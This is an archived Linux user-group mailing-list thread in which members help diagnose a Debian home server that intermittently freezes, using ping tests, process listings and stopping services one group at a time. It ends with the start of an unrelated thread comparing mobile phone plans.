incidents at? (If clients do something every 30 minutes, and they are out of sync with each other, that might explain the variability of the hiccup timing) Going a bit further afield: Have you verified that nobody is using your wifi for any nefarious purposes? Just some random thoughts… Rusty *From:* plug-discuss-boun...@lists.plug.phoenix.az.us [mailto: plug-discuss-boun...@lists.plug.phoenix.az.us] *On Behalf Of *Mark Phillips *Sent:* Wednesday, June 27, 2012 8:47 AM *To:* Main PLUG discussion list *Subject:* Re: Strange Server Behavior I only installed nfs because I started to use this server as a media server, and I wanted my family to be able to add movies to the movie folder on the server. Mediatomb then scans the folder and makes the movies available on our nifty wifi enabled TV. Would samba be a better choice? The other computers on the network are mac, windows, ubuntu. However, the windoes user has a low probability of adding any movies by herself;) (no gender bashing here.I live with four wonderful women, and one of them is a complete techo-phobe, and she is proud of it.but that helps keep me around, so all is good with the world). Mark
Re: Strange Server Behavior
Some more pieces to the puzzle... I ran the same ping test last night (laptop to server), but stopped the following services on the server: apache2 exim4 mediatomb mysql nfs-kernel-server nfs-common openvpnas cups ntp rpcbind And there were no packets lost! 2802 packets transmitted, 2802 received, 0% packet loss, time 28010243ms rtt min/avg/max/mdev = 0.063/0.157/0.319/0.033 ms This is all that was running: USER PID %CPU %MEMVSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.0 2036 736 ?Ss Jun25 0:01 init [2] root 2 0.0 0.0 0 0 ?SJun25 0:00 [kthreadd] root 3 0.0 0.0 0 0 ?SJun25 0:00 [migration/0] root 4 0.0 0.0 0 0 ?SJun25 0:00 [ksoftirqd/0] root 5 0.0 0.0 0 0 ?SJun25 0:00 [watchdog/0] root 6 0.0 0.0 0 0 ?SJun25 0:00 [events/0] root 7 0.0 0.0 0 0 ?SJun25 0:00 [cpuset] root 8 0.0 0.0 0 0 ?SJun25 0:00 [khelper] root 9 0.0 0.0 0 0 ?SJun25 0:00 [netns] root10 0.0 0.0 0 0 ?SJun25 0:00 [async/mgr] root11 0.0 0.0 0 0 ?SJun25 0:00 [pm] root12 0.0 0.0 0 0 ?SJun25 0:00 [sync_supers] root13 0.0 0.0 0 0 ?SJun25 0:00 [bdi-default] root14 0.0 0.0 0 0 ?SJun25 0:00 [kintegrityd/0] root15 0.0 0.0 0 0 ?SJun25 0:00 [kblockd/0] root16 0.0 0.0 0 0 ?SJun25 0:00 [kacpid] root17 0.0 0.0 0 0 ?SJun25 0:00 [kacpi_notify] root18 0.0 0.0 0 0 ?SJun25 0:00 [kacpi_hotplug] root19 0.0 0.0 0 0 ?SJun25 0:00 [kseriod] root21 0.0 0.0 0 0 ?SJun25 0:00 [kondemand/0] root22 0.0 0.0 0 0 ?SJun25 0:00 [khungtaskd] root23 0.0 0.0 0 0 ?SJun25 0:00 [kswapd0] root24 0.0 0.0 0 0 ?SN Jun25 0:00 [ksmd] root25 0.0 0.0 0 0 ?SJun25 0:00 [aio/0] root26 0.0 0.0 0 0 ?SJun25 0:00 [crypto/0] root 154 0.0 0.0 0 0 ?SJun25 0:00 [ksuspend_usbd] root 155 0.0 0.0 0 0 ?SJun25 0:00 [khubd] root 157 0.0 0.0 0 0 ?SJun25 0:00 [ata/0] So, perhaps I don't have a hardware problem, but a software problem? Mark On Tue, Jun 26, 2012 at 9:02 PM, Stephen cryptwo...@gmail.com wrote: What about pings from the server? Also my paranoia about this would have me checking the arp tables to see if the ip address is getting mis-somethinged. Also see if uou can make a task that will wrife to a file once every qp sex and see if the server is falling asleep or if it is network related. It may be nic or switch for example. On Jun 26, 2012 7:42 PM, Mark Phillips m...@phillipsmarketing.biz wrote: My ping test is not what I expected but still shows a problem. I setup the test to ping (64 bytes, ttl =64) the problem server every 10 seconds from my laptop. Both are plugged in, on the same subnet. The boxes are about 5 feet apart. Here are the results: 3434 packets transmitted, 3307 received, 3% packet loss, time 34336321ms rtt min/avg/max/mdev = 0.100/0.231/4.332/0.275 ms I found 38 instances where the time stamps for the pings hiccuped and there was a delay. Each hiccup lasted (min/avg/max) 10/44/70 seconds. The time between hiccups was (min/avg/max) 1:20/14:29/29:00 minutes. I grep'd the log files for messages around these 38 incidents, but did not find any messages in any of the logs. However this is not a good test, so I just trolled the logs and didn't find anything significant. Do these numbers strike a chord with anyone? I will check the caps on the MB later this week. I looked in syslog, and could not find any correlation with the 38 hiccups. However, what do these two cron jobs do, since the run quite frequently: CMD ( cd / run-parts --report /etc/cron.hourly) CMD ( [ -x /usr/lib/php5/maxlifetime ] [ -d /var/lib/php5 ] find /var/lib/php5/ -type f -cmin +$(/usr/lib/php5/maxlifetime) -delete) A search through the log files for error does not return anything interesting. Since apache and few other apps were running on the server, I will run the ping test again tonight after I kill everything on the server. Thanks! Mark On Tue, Jun 26, 2012 at 9:35 AM, Carruth, Rusty rusty.carr...@smartstoragesys.com wrote: Curious how your test turned out. ** ** You may also want to run an iostat to a file and see if that correlates to the slow responses. ** ** However, that ‘bulging capacitor’ thing others have
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Stephen, Great ideas...more tests for the morning! Mark On Jun 26, 2012 9:02 PM, Stephen cryptwo...@gmail.com wrote: What about pings from the server? Also my paranoia about this would have me checking the arp tables to see if the ip address is getting mis-somethinged. Also see if uou can make a task that will wrife to a file once every qp sex and see if the server is falling asleep or if it is network related. It may be nic or switch for example. On Jun 26, 2012 7:42 PM, Mark Phillips m...@phillipsmarketing.biz wrote: My ping test is not what I expected but still shows a problem. I setup the test to ping (64 bytes, ttl =64) the problem server every 10 seconds from my laptop. Both are plugged in, on the same subnet. The boxes are about 5 feet apart. Here are the results: 3434 packets transmitted, 3307 received, 3% packet loss, time 34336321ms rtt min/avg/max/mdev = 0.100/0.231/4.332/0.275 ms I found 38 instances where the time stamps for the pings hiccuped and there was a delay. Each hiccup lasted (min/avg/max) 10/44/70 seconds. The time between hiccups was (min/avg/max) 1:20/14:29/29:00 minutes. I grep'd the log files for messages around these 38 incidents, but did not find any messages in any of the logs. However this is not a good test, so I just trolled the logs and didn't find anything significant. Do these numbers strike a chord with anyone? I will check the caps on the MB later this week. I looked in syslog, and could not find any correlation with the 38 hiccups. However, what do these two cron jobs do, since the run quite frequently: CMD ( cd / run-parts --report /etc/cron.hourly) CMD ( [ -x /usr/lib/php5/maxlifetime ] [ -d /var/lib/php5 ] find /var/lib/php5/ -type f -cmin +$(/usr/lib/php5/maxlifetime) -delete) A search through the log files for error does not return anything interesting. Since apache and few other apps were running on the server, I will run the ping test again tonight after I kill everything on the server. Thanks! Mark On Tue, Jun 26, 2012 at 9:35 AM, Carruth, Rusty rusty.carr...@smartstoragesys.com wrote: Curious how your test turned out. ** ** You may also want to run an iostat to a file and see if that correlates to the slow responses. ** ** However, that ‘bulging capacitor’ thing others have mentioned sounds like a pretty convincing coincidence, as it were…. ** ** (I will say that USUALLY I’d agree with JD – Iobound or low RAM (and thus iobound on swap space) are the only things I’ve seen that cause unresponsiveness (never seen an overheat slow it down, usually it just dies suddenly. I probably get fast overheating and not slow increases in heat levels J) ** ** OH! WAIT! I just remembered another event – and it WON’T show up in normal performance logs. If ‘you’ send a command to a disk drive, and it goes busy for a long time, your system can become totally locked until the timeout happens and the kernel gives up. (If that happens, there SHOULD be a timeout recorded in the syslog or /var/log/messages. Check there for timeouts on disk drives or hard resets or such). (I know this because of where I work J) (Disk drives are supposed to acknowledge the command almost immediately. It is almost always a bad thing when the drive takes the command but does not finish the initial command handshake sequence… You might want to look at the S.M.A.R.T. attributes for your drives as well to see if any of them are showing ‘pre-fail’ conditions) ** ** Rusty ** ** *From:* plug-discuss-boun...@lists.plug.phoenix.az.us [mailto: plug-discuss-boun...@lists.plug.phoenix.az.us] *On Behalf Of *Mark Phillips *Sent:* Monday, June 25, 2012 10:13 PM *To:* Main PLUG discussion list *Subject:* Re: Strange Server Behavior ** ** Right now, the server is not doing anything but sitting there Tasks: 98 total, 1 running, 97 sleeping, 0 stopped, 0 zombie Cpu(s): 0.0%us, 0.3%sy, 0.0%ni, 99.7%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st Mem: 1033780k total, 217560k used, 816220k free, 6220k buffers Swap: 2019320k total,0k used, 2019320k free,94056k cached Plenty of swap, not very busy. It may be over heating, but not sure why. I am going to run a test tonight - ping every 10 seconds and time stamp the output into a file. Perhaps I will see gaps or unusually long response times and I can correlate that with the log files. Mark On Mon, Jun 25, 2012 at 10:09 PM, JD Austin j...@twingeckos.com wrote: I've had servers that act like that.. usually they're over heating, completely I/O bound, or swapping due to low available memory. ** ** On Mon, Jun 25, 2012 at 10:00 PM, Mark Phillips m...@phillipsmarketing.biz wrote: Nope - everything just stops - ping waits for a response, web services just wait for the server, file transfers stop and wait...as if time just stopped for the server, then starts
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I only installed nfs because I started to use this server as a media server, and I wanted my family to be able to add movies to the movie folder on the server. Mediatomb then scans the folder and makes the movies available on our nifty wifi enabled TV. Would samba be a better choice? The other computers on the network are mac, windows, ubuntu. However, the windoes user has a low probability of adding any movies by herself;) (no gender bashing here.I live with four wonderful women, and one of them is a complete techo-phobe, and she is proud of it.but that helps keep me around, so all is good with the world). Mark On Wed, Jun 27, 2012 at 8:20 AM, Carruth, Rusty rusty.carr...@smartstoragesys.com wrote: Personal guesses, YMMV, YKWYPFI (you know what you paid for it), etc: ** ** If you don’t need NFS, leave it off. When I saw it in there I thought – oh, my. For NFS clients, I know you can freeze a system when the server goes unresponsive. Or I think I know that J ** ** Of all those things, are there any you are NOT using? ** ** Besides the ping test mentioned earlier, I suppose you could start dividing and conquering (turn back on half the items below, run the test. If passes, run the other half to verify that the mix of the other half will fail, THEN split the failing half in half and repeat). ** ** I can’t recall if I’ve ever seen a hung printer hang cups enough to hang the entire system. It will hang printing, of course, but… ** ** In any case, yes it sounds like some sort of hw/sw interaction or maybe just sw. ** ** Good luck, Mr Phelps! ;-) ** ** Rusty ** ** *From:* plug-discuss-boun...@lists.plug.phoenix.az.us [mailto: plug-discuss-boun...@lists.plug.phoenix.az.us] *On Behalf Of *Mark Phillips *Sent:* Wednesday, June 27, 2012 6:51 AM *To:* Main PLUG discussion list *Subject:* Re: Strange Server Behavior ** ** Some more pieces to the puzzle... I ran the same ping test last night (laptop to server), but stopped the following services on the server: apache2 exim4 mediatomb mysql nfs-kernel-server nfs-common openvpnas cups ntp rpcbind And there were no packets lost! 2802 packets transmitted, 2802 received, 0% packet loss, time 28010243ms rtt min/avg/max/mdev = 0.063/0.157/0.319/0.033 ms This is all that was running: USER PID %CPU %MEMVSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.0 2036 736 ?Ss Jun25 0:01 init [2] root 2 0.0 0.0 0 0 ?SJun25 0:00 [kthreadd] root 3 0.0 0.0 0 0 ?SJun25 0:00 [migration/0] root 4 0.0 0.0 0 0 ?SJun25 0:00 [ksoftirqd/0] root 5 0.0 0.0 0 0 ?SJun25 0:00 [watchdog/0] root 6 0.0 0.0 0 0 ?SJun25 0:00 [events/0] root 7 0.0 0.0 0 0 ?SJun25 0:00 [cpuset] root 8 0.0 0.0 0 0 ?SJun25 0:00 [khelper] root 9 0.0 0.0 0 0 ?SJun25 0:00 [netns] root10 0.0 0.0 0 0 ?SJun25 0:00 [async/mgr] root11 0.0 0.0 0 0 ?SJun25 0:00 [pm] root12 0.0 0.0 0 0 ?SJun25 0:00 [sync_supers] root13 0.0 0.0 0 0 ?SJun25 0:00 [bdi-default] root14 0.0 0.0 0 0 ?SJun25 0:00 [kintegrityd/0] root15 0.0 0.0 0 0 ?SJun25 0:00 [kblockd/0] root16 0.0 0.0 0 0 ?SJun25 0:00 [kacpid] root17 0.0 0.0 0 0 ?SJun25 0:00 [kacpi_notify] root18 0.0 0.0 0 0 ?SJun25 0:00 [kacpi_hotplug] root19 0.0 0.0 0 0 ?SJun25 0:00 [kseriod] root21 0.0 0.0 0 0 ?SJun25 0:00 [kondemand/0] root22 0.0 0.0 0 0 ?SJun25 0:00 [khungtaskd] root23 0.0 0.0 0 0 ?SJun25 0:00 [kswapd0] root24 0.0 0.0 0 0 ?SN Jun25 0:00 [ksmd] root25 0.0 0.0 0 0 ?SJun25 0:00 [aio/0] root26 0.0 0.0 0 0 ?SJun25 0:00 [crypto/0] root 154 0.0 0.0 0 0 ?SJun25 0:00 [ksuspend_usbd] root 155 0.0 0.0 0 0 ?SJun25 0:00 [khubd] root 157 0.0 0.0 0 0 ?SJun25 0:00 [ata/0] So, perhaps I don't have a hardware problem, but a software problem? Mark ** ** --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
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Rusty, The test was run from 11 PM to 7 AM, so no one in my house was doing anything but sawing logs, as far as I know. Yes, teenagers tend to stay up late, but I would have heard the tv. I don't think any of the other machines are really doing anything at that time as well. I don't think anyone is using my wifiI have a 64 character key for AES and mac address filter for security. Yes, I know one can eaily spoof the mac address thing, but it keeps some out. I also have not seen anything strange in the logs. Rsync is a good idea, but I agree - fragile, lots to set up, but maybe worth a thought if nfs tends to be the problem. Maybe a script to check if a local folder has changed, and then rsync it Mark On Wed, Jun 27, 2012 at 8:59 AM, Carruth, Rusty rusty.carr...@smartstoragesys.com wrote: Well, NFS server is less likely (I think!) to cause momentary freezes than the client, but samba MIGHT be an idea. Hopefully someone else here has more experience with the server side of things, or maybe google would help. ** ** On the upload video thing – if you wanted to go to a lot of work, you could put directories on each computer that periodically get rsync’d (or whatever) to the server, so that the family members only need to copy the movie to the directory on their machine and it will automatically get copied across. But that may be more work and fragility than you want J (and might make you more expendable!). but that could get rid of nfs or samba or any such thing. Probably not worth doing if NFS isn’t’ the issue J, so I’d say turn on half the processes and see what happens, as I mentioned before.. ** ** Thinking about the system for a bit – first the schedule of when things freeze. Does it line up with anything being done on the client machines? On the TV? What ‘absolute time’ (wall clock time) were those 38 incidents at? (If clients do something every 30 minutes, and they are out of sync with each other, that might explain the variability of the hiccup timing)* *** ** ** Going a bit further afield: Have you verified that nobody is using your wifi for any nefarious purposes? ** ** Just some random thoughts… ** ** Rusty ** ** *From:* plug-discuss-boun...@lists.plug.phoenix.az.us [mailto: plug-discuss-boun...@lists.plug.phoenix.az.us] *On Behalf Of *Mark Phillips *Sent:* Wednesday, June 27, 2012 8:47 AM *To:* Main PLUG discussion list *Subject:* Re: Strange Server Behavior ** ** I only installed nfs because I started to use this server as a media server, and I wanted my family to be able to add movies to the movie folder on the server. Mediatomb then scans the folder and makes the movies available on our nifty wifi enabled TV. Would samba be a better choice? The other computers on the network are mac, windows, ubuntu. However, the windoes user has a low probability of adding any movies by herself;) (no gender bashing here.I live with four wonderful women, and one of them is a complete techo-phobe, and she is proud of it.but that helps keep me around, so all is good with the world). Mark ** ** --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
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Rusty, I am running another test now, with the following services running exim4 cups apache2 openvpnas cups ntp I will keep you posted. Mark On Wed, Jun 27, 2012 at 9:16 AM, Carruth, Rusty rusty.carr...@smartstoragesys.com wrote: Well, I had to ask J ** ** I’d say its ‘divide and conquer time’ like I suggested earlier – enable half (approx) of the services and run the test. If it passes, turn those off and then turn on the other half, rerun test. If it passes, life gets hard, and I’m going to ignore that possibility for now! Whichever test fails, repeat the above with that reduced set of services. ** ** If both halves pass, then there is some interaction between the services, and it’s not so easy as divide and conquer. (but of course, if a service depends upon another one to be fully functional (apache and mysql are likely examples) then you’ll have to keep those services together till the bitter end (as it were)). ** ** However, there is still hope someone here has another idea… ** ** Rusty ** ** *From:* plug-discuss-boun...@lists.plug.phoenix.az.us [mailto: plug-discuss-boun...@lists.plug.phoenix.az.us] *On Behalf Of *Mark Phillips *Sent:* Wednesday, June 27, 2012 9:12 AM *To:* Main PLUG discussion list *Subject:* Re: Strange Server Behavior ** ** Rusty, The test was run from 11 PM to 7 AM, so no one in my house was doing anything but sawing logs, as far as I know. Yes, teenagers tend to stay up late, but I would have heard the tv. I don't think any of the other machines are really doing anything at that time as well. I don't think anyone is using my wifiI have a 64 character key for AES and mac address filter for security. Yes, I know one can eaily spoof the mac address thing, but it keeps some out. I also have not seen anything strange in the logs. Rsync is a good idea, but I agree - fragile, lots to set up, but maybe worth a thought if nfs tends to be the problem. Maybe a script to check if a local folder has changed, and then rsync it Mark On Wed, Jun 27, 2012 at 8:59 AM, Carruth, Rusty rusty.carr...@smartstoragesys.com wrote: Well, NFS server is less likely (I think!) to cause momentary freezes than the client, but samba MIGHT be an idea. Hopefully someone else here has more experience with the server side of things, or maybe google would help. On the upload video thing – if you wanted to go to a lot of work, you could put directories on each computer that periodically get rsync’d (or whatever) to the server, so that the family members only need to copy the movie to the directory on their machine and it will automatically get copied across. But that may be more work and fragility than you want J (and might make you more expendable!). but that could get rid of nfs or samba or any such thing. Probably not worth doing if NFS isn’t’ the issue J, so I’d say turn on half the processes and see what happens, as I mentioned before.. Thinking about the system for a bit – first the schedule of when things freeze. Does it line up with anything being done on the client machines? On the TV? What ‘absolute time’ (wall clock time) were those 38 incidents at? (If clients do something every 30 minutes, and they are out of sync with each other, that might explain the variability of the hiccup timing)* *** Going a bit further afield: Have you verified that nobody is using your wifi for any nefarious purposes? Just some random thoughts… Rusty *From:* plug-discuss-boun...@lists.plug.phoenix.az.us [mailto: plug-discuss-boun...@lists.plug.phoenix.az.us] *On Behalf Of *Mark Phillips *Sent:* Wednesday, June 27, 2012 8:47 AM *To:* Main PLUG discussion list *Subject:* Re: Strange Server Behavior I only installed nfs because I started to use this server as a media server, and I wanted my family to be able to add movies to the movie folder on the server. Mediatomb then scans the folder and makes the movies available on our nifty wifi enabled TV. Would samba be a better choice? The other computers on the network are mac, windows, ubuntu. However, the windoes user has a low probability of adding any movies by herself;) (no gender bashing here.I live with four wonderful women, and one of them is a complete techo-phobe, and she is proud of it.but that helps keep me around, so all is good with the world). Mark --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ** ** --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http
Re: Strange Server Behavior
My ping test is not what I expected but still shows a problem. I setup the test to ping (64 bytes, ttl =64) the problem server every 10 seconds from my laptop. Both are plugged in, on the same subnet. The boxes are about 5 feet apart. Here are the results: 3434 packets transmitted, 3307 received, 3% packet loss, time 34336321ms rtt min/avg/max/mdev = 0.100/0.231/4.332/0.275 ms I found 38 instances where the time stamps for the pings hiccuped and there was a delay. Each hiccup lasted (min/avg/max) 10/44/70 seconds. The time between hiccups was (min/avg/max) 1:20/14:29/29:00 minutes. I grep'd the log files for messages around these 38 incidents, but did not find any messages in any of the logs. However this is not a good test, so I just trolled the logs and didn't find anything significant. Do these numbers strike a chord with anyone? I will check the caps on the MB later this week. I looked in syslog, and could not find any correlation with the 38 hiccups. However, what do these two cron jobs do, since the run quite frequently: CMD ( cd / run-parts --report /etc/cron.hourly) CMD ( [ -x /usr/lib/php5/maxlifetime ] [ -d /var/lib/php5 ] find /var/lib/php5/ -type f -cmin +$(/usr/lib/php5/maxlifetime) -delete) A search through the log files for error does not return anything interesting. Since apache and few other apps were running on the server, I will run the ping test again tonight after I kill everything on the server. Thanks! Mark On Tue, Jun 26, 2012 at 9:35 AM, Carruth, Rusty rusty.carr...@smartstoragesys.com wrote: Curious how your test turned out. ** ** You may also want to run an iostat to a file and see if that correlates to the slow responses. ** ** However, that ‘bulging capacitor’ thing others have mentioned sounds like a pretty convincing coincidence, as it were…. ** ** (I will say that USUALLY I’d agree with JD – Iobound or low RAM (and thus iobound on swap space) are the only things I’ve seen that cause unresponsiveness (never seen an overheat slow it down, usually it just dies suddenly. I probably get fast overheating and not slow increases in heat levels J) ** ** OH! WAIT! I just remembered another event – and it WON’T show up in normal performance logs. If ‘you’ send a command to a disk drive, and it goes busy for a long time, your system can become totally locked until the timeout happens and the kernel gives up. (If that happens, there SHOULD be a timeout recorded in the syslog or /var/log/messages. Check there for timeouts on disk drives or hard resets or such). (I know this because of where I work J) (Disk drives are supposed to acknowledge the command almost immediately. It is almost always a bad thing when the drive takes the command but does not finish the initial command handshake sequence… You might want to look at the S.M.A.R.T. attributes for your drives as well to see if any of them are showing ‘pre-fail’ conditions) ** ** Rusty ** ** *From:* plug-discuss-boun...@lists.plug.phoenix.az.us [mailto: plug-discuss-boun...@lists.plug.phoenix.az.us] *On Behalf Of *Mark Phillips *Sent:* Monday, June 25, 2012 10:13 PM *To:* Main PLUG discussion list *Subject:* Re: Strange Server Behavior ** ** Right now, the server is not doing anything but sitting there Tasks: 98 total, 1 running, 97 sleeping, 0 stopped, 0 zombie Cpu(s): 0.0%us, 0.3%sy, 0.0%ni, 99.7%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st Mem: 1033780k total, 217560k used, 816220k free, 6220k buffers Swap: 2019320k total,0k used, 2019320k free,94056k cached Plenty of swap, not very busy. It may be over heating, but not sure why. I am going to run a test tonight - ping every 10 seconds and time stamp the output into a file. Perhaps I will see gaps or unusually long response times and I can correlate that with the log files. Mark On Mon, Jun 25, 2012 at 10:09 PM, JD Austin j...@twingeckos.com wrote:* *** I've had servers that act like that.. usually they're over heating, completely I/O bound, or swapping due to low available memory. ** ** On Mon, Jun 25, 2012 at 10:00 PM, Mark Phillips m...@phillipsmarketing.biz wrote: Nope - everything just stops - ping waits for a response, web services just wait for the server, file transfers stop and wait...as if time just stopped for the server, then starts again without any errors being evident. Mark ** ** On Mon, Jun 25, 2012 at 9:57 PM, Stephen wrote: Can you do access any other services hosted by the server during this time? Or even an extended ping? On Jun 25, 2012 9:53 PM, Mark Phillips wrote: I have a headless server running Linux version 2.6.32-5-686 (Debian 2.6.32-45) (da...@debian.org) (gcc version 4.3.5 (Debian 4.3.5-4) and no X or window manager, and I have noticed in the past couple of days that when I ssh in the server it occasionally stops responding
Strange Server Behavior
I have a headless server running Linux version 2.6.32-5-686 (Debian 2.6.32-45) (da...@debian.org) (gcc version 4.3.5 (Debian 4.3.5-4) and no X or window manager, and I have noticed in the past couple of days that when I ssh in the server it occasionally stops responding for a minute or two, then comes back as if nothing had happened. It is a random event - maybe once an hour. I cannot find anything in the logs - no error messages. There is nothing wrong with the machine where I initiated the ssh session, and it is not connected to ssh. The server completely stops responding, then comes back as if nothing had happened. How would I go about diagnosing this problem? Thanks, Mark --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Strange Server Behavior
Nope - everything just stops - ping waits for a response, web services just wait for the server, file transfers stop and wait...as if time just stopped for the server, then starts again without any errors being evident. Mark On Mon, Jun 25, 2012 at 9:57 PM, Stephen cryptwo...@gmail.com wrote: Can you do access any other services hosted by the server during this time? Or even an extended ping? On Jun 25, 2012 9:53 PM, Mark Phillips m...@phillipsmarketing.biz wrote: I have a headless server running Linux version 2.6.32-5-686 (Debian 2.6.32-45) (da...@debian.org) (gcc version 4.3.5 (Debian 4.3.5-4) and no X or window manager, and I have noticed in the past couple of days that when I ssh in the server it occasionally stops responding for a minute or two, then comes back as if nothing had happened. It is a random event - maybe once an hour. I cannot find anything in the logs - no error messages. There is nothing wrong with the machine where I initiated the ssh session, and it is not connected to ssh. The server completely stops responding, then comes back as if nothing had happened. How would I go about diagnosing this problem? Thanks, Mark --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Strange Server Behavior
Bare metal - an old Dell Optiplex GX260. Mark On Mon, Jun 25, 2012 at 10:03 PM, Eric Cope eric.c...@gmail.com wrote: Is it a VPS or on bare metal? I've experienced similar behavior on VPSs, still not sure why, Eric On Mon, Jun 25, 2012 at 10:00 PM, Mark Phillips m...@phillipsmarketing.biz wrote: Nope - everything just stops - ping waits for a response, web services just wait for the server, file transfers stop and wait...as if time just stopped for the server, then starts again without any errors being evident. Mark On Mon, Jun 25, 2012 at 9:57 PM, Stephen cryptwo...@gmail.com wrote: Can you do access any other services hosted by the server during this time? Or even an extended ping? On Jun 25, 2012 9:53 PM, Mark Phillips m...@phillipsmarketing.biz wrote: I have a headless server running Linux version 2.6.32-5-686 (Debian 2.6.32-45) (da...@debian.org) (gcc version 4.3.5 (Debian 4.3.5-4) and no X or window manager, and I have noticed in the past couple of days that when I ssh in the server it occasionally stops responding for a minute or two, then comes back as if nothing had happened. It is a random event - maybe once an hour. I cannot find anything in the logs - no error messages. There is nothing wrong with the machine where I initiated the ssh session, and it is not connected to ssh. The server completely stops responding, then comes back as if nothing had happened. How would I go about diagnosing this problem? Thanks, Mark --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Strange Server Behavior
Right now, the server is not doing anything but sitting there Tasks: 98 total, 1 running, 97 sleeping, 0 stopped, 0 zombie Cpu(s): 0.0%us, 0.3%sy, 0.0%ni, 99.7%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st Mem: 1033780k total, 217560k used, 816220k free, 6220k buffers Swap: 2019320k total,0k used, 2019320k free,94056k cached Plenty of swap, not very busy. It may be over heating, but not sure why. I am going to run a test tonight - ping every 10 seconds and time stamp the output into a file. Perhaps I will see gaps or unusually long response times and I can correlate that with the log files. Mark On Mon, Jun 25, 2012 at 10:09 PM, JD Austin j...@twingeckos.com wrote: I've had servers that act like that.. usually they're over heating, completely I/O bound, or swapping due to low available memory. On Mon, Jun 25, 2012 at 10:00 PM, Mark Phillips m...@phillipsmarketing.biz wrote: Nope - everything just stops - ping waits for a response, web services just wait for the server, file transfers stop and wait...as if time just stopped for the server, then starts again without any errors being evident. Mark On Mon, Jun 25, 2012 at 9:57 PM, Stephen cryptwo...@gmail.com wrote: Can you do access any other services hosted by the server during this time? Or even an extended ping? On Jun 25, 2012 9:53 PM, Mark Phillips m...@phillipsmarketing.biz wrote: I have a headless server running Linux version 2.6.32-5-686 (Debian 2.6.32-45) (da...@debian.org) (gcc version 4.3.5 (Debian 4.3.5-4) and no X or window manager, and I have noticed in the past couple of days that when I ssh in the server it occasionally stops responding for a minute or two, then comes back as if nothing had happened. It is a random event - maybe once an hour. I cannot find anything in the logs - no error messages. There is nothing wrong with the machine where I initiated the ssh session, and it is not connected to ssh. The server completely stops responding, then comes back as if nothing had happened. How would I go about diagnosing this problem? Thanks, Mark --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: OT Verizon Smart Phones
As a point of comparison, t-mobile offers an unlimited voice, text, and data plan for 2 phones for $140/month. Unlimited data means 2 gb at 4g speeds, and if you exceed that, they just throttle you back to 2g at no additional charge. They have lots of good android smart phones available (no iphones). I have had 4 phones with then for many many years, and I keep renewing every 2 years. Don't go to a franchise store unless you know it is a good one. Go to a corporate store for best service. Mark On Jun 23, 2012 8:42 PM, Lyle Tuttle l.tut...@cox.net wrote: We have two Verizon HTC Thunderbolts - new in Feb 2011. $174/month, unlimited everything.voice, text, data...' Have never had it freeze; rebooted on its own once but I think that was an update. Worst problem is battery life.very short, even with larger battery. One day will go all day, next day need to charge twice in one day - low usage.go figure. Did you know verizon has a box that will serve as your phone? $20/mo unlimited calls in/out..it received via cell signal and you plug your phone into it.and US Cellular has a small deck of cards, only half as thick Samsung hot spot$25 for up to 2 gig of data/month I learned the above after bad storm left sis-in-law without 